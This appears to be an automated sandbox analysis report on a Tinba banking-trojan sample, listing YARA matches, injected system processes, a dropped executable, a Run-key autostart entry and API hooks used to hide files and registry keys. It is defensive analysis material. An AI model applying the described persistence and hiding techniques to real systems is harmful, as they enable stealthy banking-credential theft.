Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 173.222.162.32:443 -> 192.168.2.4:49730 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Tinba Banker

Source: Yara match	File source: Process Memory Space: java.exe PID: 6188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winver.exe PID: 6384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ctfmon.exe PID: 3832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: StartMenuExperienceHost.exe PID: 4660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 4872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SearchApp.exe PID: 4984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bin.exe PID: 6940, type: MEMORYSTR

E-Banking Fraud

Yara detected Tinba Banker

Source: Yara match	File source: Process Memory Space: java.exe PID: 6188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winver.exe PID: 6384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ctfmon.exe PID: 3832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: StartMenuExperienceHost.exe PID: 4660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 4872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SearchApp.exe PID: 4984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bin.exe PID: 6940, type: MEMORYSTR

Source: C:\Windows\explorer.exe	Code function: 3_2_01392270 NtQueryDirectoryFile,	3_2_01392270
Source: C:\Windows\explorer.exe	Code function: 3_2_01391EE1 NtCreateUserProcess,	3_2_01391EE1
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC21D1 NtEnumerateValueKey,	4_2_00AC21D1

Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02220005	0_2_02220005
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02221845	0_2_02221845
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02220EA9	0_2_02220EA9
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_047E1821	2_2_047E1821
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_047E0E85	2_2_047E0E85
Source: C:\Windows\explorer.exe	Code function: 3_2_01391821	3_2_01391821
Source: C:\Windows\explorer.exe	Code function: 3_2_01390E85	3_2_01390E85
Source: C:\Windows\explorer.exe	Code function: 3_2_03451821	3_2_03451821
Source: C:\Windows\explorer.exe	Code function: 3_2_03450E85	3_2_03450E85
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0E85	4_2_00AC0E85
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC1821	4_2_00AC1821
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910E85	5_2_00910E85
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00911821	5_2_00911821
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0E85	6_2_009A0E85
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A1821	6_2_009A1821
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50E85	7_2_00A50E85
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A51821	7_2_00A51821
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40E85	8_2_00D40E85
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D41821	8_2_00D41821
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50E85	9_2_00B50E85
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B51821	9_2_00B51821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00111821	10_2_00111821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110E85	10_2_00110E85
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_001C1821	12_2_001C1821
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_001C0E85	12_2_001C0E85
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_02240005	12_2_02240005
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_02240EA9	12_2_02240EA9
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 17_2_00AB0E85	17_2_00AB0E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 17_2_00AB1821	17_2_00AB1821
Source: C:\Windows\System32\smartscreen.exe	Code function: 18_2_00291821	18_2_00291821
Source: C:\Windows\System32\smartscreen.exe	Code function: 18_2_00290E85	18_2_00290E85
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 19_2_001C1821	19_2_001C1821
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 19_2_001C0E85	19_2_001C0E85
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 19_2_02410005	19_2_02410005
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 19_2_02410EA9	19_2_02410EA9
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: 21_2_00581821	21_2_00581821
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: 21_2_00580E85	21_2_00580E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 22_2_003D1821	22_2_003D1821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 22_2_003D0E85	22_2_003D0E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 23_2_00900E85	23_2_00900E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 23_2_00901821	23_2_00901821
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: 24_2_00181821	24_2_00181821
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: 24_2_00180E85	24_2_00180E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 26_2_00191821	26_2_00191821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 26_2_00190E85	26_2_00190E85
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: 28_2_00011821	28_2_00011821
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: 28_2_00010E85	28_2_00010E85
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_009F0E85	29_2_009F0E85
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_009F1821	29_2_009F1821
Source: C:\Windows\System32\conhost.exe	Code function: 30_2_00880E85	30_2_00880E85
Source: C:\Windows\System32\conhost.exe	Code function: 30_2_00881821	30_2_00881821
Source: C:\Windows\System32\dllhost.exe	Code function: 31_2_00980E85	31_2_00980E85
Source: C:\Windows\System32\dllhost.exe	Code function: 31_2_00981821	31_2_00981821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 33_2_00A20E85	33_2_00A20E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 33_2_00A21821	33_2_00A21821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 34_2_00061821	34_2_00061821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 34_2_00060E85	34_2_00060E85
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 35_2_03071821	35_2_03071821
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 35_2_03070E85	35_2_03070E85
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 36_2_02CE0E85	36_2_02CE0E85
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 36_2_02CE1821	36_2_02CE1821
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 37_2_00641821	37_2_00641821
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 37_2_00640E85	37_2_00640E85
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 38_2_006D1821	38_2_006D1821
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 38_2_006D0E85	38_2_006D0E85
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 39_2_02EF0E85	39_2_02EF0E85
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 39_2_02EF1821	39_2_02EF1821
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 40_2_01471821	40_2_01471821
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 40_2_01470E85	40_2_01470E85
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 41_2_01161821	41_2_01161821
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 41_2_01160E85	41_2_01160E85
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 42_2_01FF0E85	42_2_01FF0E85
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 42_2_01FF1821	42_2_01FF1821
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 43_2_02631821	43_2_02631821
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 43_2_02630E85	43_2_02630E85
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 44_2_00810E85	44_2_00810E85
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 44_2_00811821	44_2_00811821

Source: C:\Windows\System32\conhost.exe	Code function: String function: 00883653 appears 35 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 047E3653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00913653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 009A3653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00D43653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 009F3653 appears 35 times
Source: C:\Windows\System32\ctfmon.exe	Code function: String function: 00A53653 appears 35 times
Source: C:\Windows\explorer.exe	Code function: String function: 03453653 appears 35 times
Source: C:\Windows\explorer.exe	Code function: String function: 01393653 appears 34 times
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: String function: 00183653 appears 35 times
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: String function: 00013653 appears 35 times
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: String function: 02243677 appears 34 times
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: String function: 02413677 appears 34 times
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: String function: 001C3653 appears 70 times
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: String function: 02EF3653 appears 35 times
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: String function: 01473653 appears 35 times
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: String function: 00813653 appears 35 times
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: String function: 02633653 appears 35 times
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: String function: 02CE3653 appears 35 times
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: String function: 006D3653 appears 35 times
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: String function: 00643653 appears 35 times
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: String function: 03073653 appears 35 times
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: String function: 01163653 appears 35 times
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: String function: 01FF3653 appears 35 times
Source: C:\Windows\System32\smartscreen.exe	Code function: String function: 00293653 appears 35 times
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: String function: 00B53653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00063653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00193653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 003D3653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00113653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00903653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00AB3653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00A23653 appears 35 times
Source: C:\Windows\System32\sihost.exe	Code function: String function: 00AC3653 appears 35 times
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: String function: 00583653 appears 35 times
Source: C:\Windows\System32\dllhost.exe	Code function: String function: 00983653 appears 35 times
Source: C:\Users\user\Desktop\java.exe	Code function: String function: 02223677 appears 34 times

Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Section loaded: nss3.dll	Jump to behavior

Source: java.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal100.bank.expl.evad.winEXE@10/10@4/3

Source: C:\Users\user\Desktop\java.exe

Code function: 0_2_02220005 ExitProcess,GetProcAddress,IsWow64Process,GetModuleHandleW,GetStartupInfoA,ReadFile,WriteFile,SetFilePointer,CloseHandle,CreateToolhelp32Snapshot,Process32Next,OpenProcess,VirtualFree,VirtualAllocEx,CreateMutexA,

0_2_02220005

Source: C:\Windows\SysWOW64\winver.exe

File created: C:\Users\user\AppData\Local\Packages\windows_ie_ac_001\AC\E38A1E29

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6212:120:WilError_03
Source: C:\Windows\SysWOW64\winver.exe	Mutant created: \Sessions\1\BaseNamedObjects\E38A1E29
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7012:120:WilError_03

Source: C:\Windows\explorer.exe

File read: C:\Users\user\Searches\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\java.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: java.exe

ReversingLabs: Detection: 89%

Source: unknown	Process created: C:\Users\user\Desktop\java.exe C:\Users\user\Desktop\java.exe
Source: C:\Users\user\Desktop\java.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\java.exe	Process created: C:\Windows\SysWOW64\winver.exe winver
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe "C:\Users\user\AppData\Roaming\E38A1E29\bin.exe"
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe "C:\Users\user\AppData\Roaming\E38A1E29\bin.exe"
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\java.exe	Process created: C:\Windows\SysWOW64\winver.exe winver	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe "C:\Users\user\AppData\Roaming\E38A1E29\bin.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe "C:\Users\user\AppData\Roaming\E38A1E29\bin.exe"	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:

Source: java.exe	Static PE information: section name: .imports
Source: bin.exe.2.dr	Static PE information: section name: .imports

Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02220C1A push edi; ret	0_2_02220C56
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02220B89 push edi; ret	0_2_02220C56
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_047E0B65 push edi; ret	2_2_047E0C32
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_047E0BF6 push edi; ret	2_2_047E0C32
Source: C:\Windows\explorer.exe	Code function: 3_2_01390B65 push edi; ret	3_2_01390C32
Source: C:\Windows\explorer.exe	Code function: 3_2_01390BF6 push edi; ret	3_2_01390C32
Source: C:\Windows\explorer.exe	Code function: 3_2_03450B65 push edi; ret	3_2_03450C32
Source: C:\Windows\explorer.exe	Code function: 3_2_03450BF6 push edi; ret	3_2_03450C32
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0BF6 push edi; ret	4_2_00AC0C32
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0B65 push edi; ret	4_2_00AC0C32
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910BF6 push edi; ret	5_2_00910C32
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910B65 push edi; ret	5_2_00910C32
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0BF6 push edi; ret	6_2_009A0C32
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0B65 push edi; ret	6_2_009A0C32
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50BF6 push edi; ret	7_2_00A50C32
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50B65 push edi; ret	7_2_00A50C32
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40BF6 push edi; ret	8_2_00D40C32
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40B65 push edi; ret	8_2_00D40C32
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50BF6 push edi; ret	9_2_00B50C32
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50B65 push edi; ret	9_2_00B50C32
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110B65 push edi; ret	10_2_00110C32
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110BF6 push edi; ret	10_2_00110C32
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_001C0B65 push edi; ret	12_2_001C0C32
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_001C0BF6 push edi; ret	12_2_001C0C32
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_02240C1A push edi; ret	12_2_02240C56
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_02241A92 push esi; ret	12_2_02241A94
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_02241B61 push esi; ret	12_2_02241B63
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_02240B89 push edi; ret	12_2_02240C56
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 17_2_00AB0BF6 push edi; ret	17_2_00AB0C32
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 17_2_00AB0B65 push edi; ret	17_2_00AB0C32
Source: C:\Windows\System32\smartscreen.exe	Code function: 18_2_00290B65 push edi; ret	18_2_00290C32

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Windows\SysWOW64\winver.exe

File created: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe

Jump to dropped file

Boot Survival

Creates autostart registry keys with suspicious names

Source: C:\Windows\SysWOW64\winver.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run E38A1E29

Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run E38A1E29			Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run E38A1E29			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwResumeThread new code: 0xE9 0x9E 0xE1 0x12 0x25 0x51

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
